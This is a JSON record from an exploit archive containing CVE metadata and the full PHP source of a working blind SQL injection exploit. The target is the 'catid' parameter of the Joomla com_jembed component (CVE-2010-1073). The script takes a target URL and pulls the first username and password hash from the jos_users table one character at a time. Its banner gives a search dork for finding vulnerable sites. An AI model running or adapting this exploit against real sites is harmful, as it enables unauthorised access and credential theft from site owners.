{"exploit":{"id":"EDB-11026","name":"com_jembed - 'catid' Blind SQL Injection (SQLi)","description":"com_jembed - 'catid' Blind SQL Injection (SQLi)","cves":["CVE-2010-1073"],"author":"FL0RiX","published":"2010-01-06","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/11026","path":"exploits/php/webapps/11026.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-11026.php","vulnerabilities":[{"id":"CVE-2010-1073","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the jEmbed-Embed Anything (com_jembed) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in a summary action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-1073","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-1073"},"updatedAt":"2024-08-07T01:14:05.230Z","retrievedAt":"2026-11-27T07:11:47.518Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-11026.png?v=2","url":"https://exploitbin.com/exploits/EDB-11026","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-11026/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-11026/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\nini_set(\"max_execution_time\",0);\nprint_r('\n\n\\\\\\|///\n\\\\ - - //\n( @ @ )\n----oOOo--(_)-oOOo---------------------------\n@~~=Author : FL0RiX\n\n@~~=Greez : Dostumuz Yokki yazak\n\n@~~=Dork : inurl:\"com_jembed\"\n\n@~~=Bug : com_jembed (catid) Blind SQL Injection Exploit\n\n@~~=WARNING! : : php file.php \"http://www.site.com/index.php?option=com_jembed&task=summary&catid=99\"\n---------------Ooooo-------------------------\n( )\nooooO ) /\n( ) (_/\n\\ (\n\\_)\n\n\n');\nif ($argc > 1) {\n$url = $argv[1];\n$r = strlen(file_get_contents($url.\"+and+1=1--\"));\necho \"\\nExploiting:\\n\";\n$w = strlen(file_get_contents($url.\"+and+1=0--\"));\n$t = abs((100-($w/$r*100)));\necho \"Username: \";\nfor ($i=1; $i <= 30; $i++) {\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$i.\",1))!=0--\"));\nif (abs((100-($laenge/$r*100))) > $t-1) {\n$count = $i;\n$i = 30;\n}\n}\nfor ($j = 1; $j < $count; $j++) {\nfor ($i = 46; $i <= 122; $i=$i+2) {\nif ($i == 60) {\n$i = 98;\n}\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));\nif (abs((100-($laenge/$r*100))) > $t-1) {\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));\nif (abs((100-($laenge/$r*100))) > $t-1) {\necho chr($i-1);\n} else {\necho chr($i);\n}\n$i = 122;\n}\n}\n}\necho \"\\nPassword: \";\nfor ($j = 1; $j <= 49; $j++) {\nfor ($i = 46; $i <= 102; $i=$i+2) {\nif ($i == 60) {\n$i = 98;\n}\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));\nif (abs((100-($laenge/$r*100))) > $t-1) {\n$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));\nif (abs((100-($laenge/$r*100))) > $t-1) {\necho chr($i-1);\n} else {\necho chr($i);\n}\n$i = 102;\n}\n}\n}\n}\n?>","sha256":"d1e175c268a6673d328a515a1aa760ea4be37826ad5d7ea82c164091252e40ac","bytes":1910,"fetchedAt":"2026-11-27T07:11:40.415Z","encoding":"utf-8 (display only; download retains original bytes)"}